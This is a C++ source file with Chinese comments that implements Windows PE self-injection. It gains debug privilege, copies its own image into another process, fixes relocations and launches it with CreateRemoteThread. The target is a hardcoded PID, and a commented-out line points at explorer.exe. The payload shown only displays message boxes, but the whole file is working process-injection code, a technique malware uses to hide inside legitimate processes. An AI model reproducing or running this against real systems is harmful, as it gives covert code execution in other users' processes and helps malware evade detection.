// PE注入.cpp : 定义控制台应用程序的入口点。 // #include "stdafx.h" #include <windows.h> #include <tlhelp32.h> #include <process.h> #include <stdio.h> #pragma comment (lib, "winmm.lib") #pragma comment (lib, "kernel32.lib") /*获取进程ID号*/ DWORD GetProcessIdByName(LPWSTR name) { PROCESSENTRY32 pe32; HANDLE snapshot = NULL; DWORD pid = 0; snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (snapshot != INVALID_HANDLE_VALUE) { pe32.dwSize = sizeof(PROCESSENTRY32); if (Process32First(snapshot, &pe32)) { do { if (!lstrcmp(pe32.szExeFile, name)) { pid = pe32.th32ProcessID; break; } } while (Process32Next(snapshot, &pe32)); } CloseHandle(snapshot); } return pid; } extern "C" void mainCRTStartup(); DWORD main(); /** * 远程进程内存中注入PE */ HMODULE injectModule(HANDLE proc, LPVOID module) { DWORD i = 0; DWORD_PTR delta = NULL; DWORD_PTR olddelta = NULL; /* 获取模块PE头 */ PIMAGE_NT_HEADERS headers = (PIMAGE_NT_HEADERS)((LPBYTE)module + ((PIMAGE_DOS_HEADER)module)->e_lfanew); PIMAGE_DATA_DIRECTORY datadir; /* 计算注入代码长度 */ DWORD moduleSize = headers->OptionalHeader.SizeOfImage; LPVOID distantModuleMemorySpace = NULL; LPBYTE tmpBuffer = NULL; BOOL ok = FALSE; if (headers->Signature != IMAGE_NT_SIGNATURE) return NULL; if (IsBadReadPtr(module, moduleSize)) return NULL; distantModuleMemorySpace = VirtualAllocEx(proc, NULL, moduleSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (distantModuleMemorySpace != NULL) { tmpBuffer = (LPBYTE)VirtualAlloc(NULL, moduleSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (tmpBuffer != NULL) { RtlCopyMemory(tmpBuffer, module, moduleSize); datadir = &headers->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]; if (datadir->Size > 0 && datadir->VirtualAddress > 0) { delta = (DWORD_PTR)((LPBYTE)distantModuleMemorySpace - headers->OptionalHeader.ImageBase); olddelta = (DWORD_PTR)((LPBYTE)module - headers->OptionalHeader.ImageBase); PIMAGE_BASE_RELOCATION reloc = (PIMAGE_BASE_RELOCATION)(tmpBuffer + datadir->VirtualAddress); while (reloc->VirtualAddress != 0) { if (reloc->SizeOfBlock >= sizeof(IMAGE_BASE_RELOCATION)) { DWORD relocDescNb = (reloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD); LPWORD relocDescList = (LPWORD)((LPBYTE)reloc + sizeof(IMAGE_BASE_RELOCATION)); for (i = 0; i < relocDescNb; i++) { if (relocDescList[i] > 0) { DWORD_PTR *p = (DWORD_PTR *)(tmpBuffer + (reloc->VirtualAddress + (0x0FFF & (relocDescList[i])))); *p -= olddelta; *p += delta; } } } reloc = (PIMAGE_BASE_RELOCATION)((LPBYTE)reloc + reloc->SizeOfBlock); } tmpBuffer[(DWORD)main - (DWORD)module] = 0x55; ok = WriteProcessMemory(proc, distantModuleMemorySpace, tmpBuffer, moduleSize, NULL); } VirtualFree(tmpBuffer, 0, MEM_RELEASE); } if (!ok) { VirtualFreeEx(proc, distantModuleMemorySpace, 0, MEM_RELEASE); distantModuleMemorySpace = NULL; } } return (HMODULE)distantModuleMemorySpace; } /** * 获取DEBUG权限 */ BOOL EnableDebugPrivileges(void) { HANDLE token; TOKEN_PRIVILEGES priv; BOOL ret = FALSE; if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &token)) { priv.PrivilegeCount = 1; priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &priv.Privileges[0].Luid) != FALSE && AdjustTokenPrivileges(token, FALSE, &priv, 0, NULL, NULL) != FALSE) { ret = TRUE; } CloseHandle(token); } return ret; } BOOL peInjection(DWORD pid, LPTHREAD_START_ROUTINE callRoutine) { HANDLE proc, thread; HMODULE module, injectedModule; BOOL result = FALSE; proc = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, pid); if (proc != NULL) { module = GetModuleHandle(NULL); injectedModule = (HMODULE)injectModule(proc, module); if (injectedModule != NULL) { LPTHREAD_START_ROUTINE remoteThread = (LPTHREAD_START_ROUTINE)((LPBYTE)injectedModule + (DWORD_PTR)((LPBYTE)callRoutine - (LPBYTE)module)); thread = CreateRemoteThread(proc, NULL, 0, remoteThread, NULL, 0, NULL); if (thread != NULL) { CloseHandle(thread); result = TRUE; } else { VirtualFreeEx(proc, module, 0, MEM_RELEASE); } } CloseHandle(proc); } return result; } DWORD WINAPI entryThread(LPVOID param) { DWORD newModuleD = (DWORD)param; MessageBox(NULL, L"Injection success.Now initializing runtime library.", NULL, 0); //mainCRTStartup(); MessageBox(NULL, L"This will never be called.", NULL, 0); return 0; } void entryPoint() { MessageBox(NULL, L"entryPoint", NULL, 0); EnableDebugPrivileges(); //peInjection(GetProcessIdByName(L"explorer.exe"), entryThread); peInjection( 6384, entryThread); } DWORD main() { //MessageBox(NULL, L"In Main ", NULL, 0); printf("This printf can work because runtime library is now initialized. "); entryPoint(); //(NULL, L"In main end", NULL, 0); ExitThread(0); return 0; }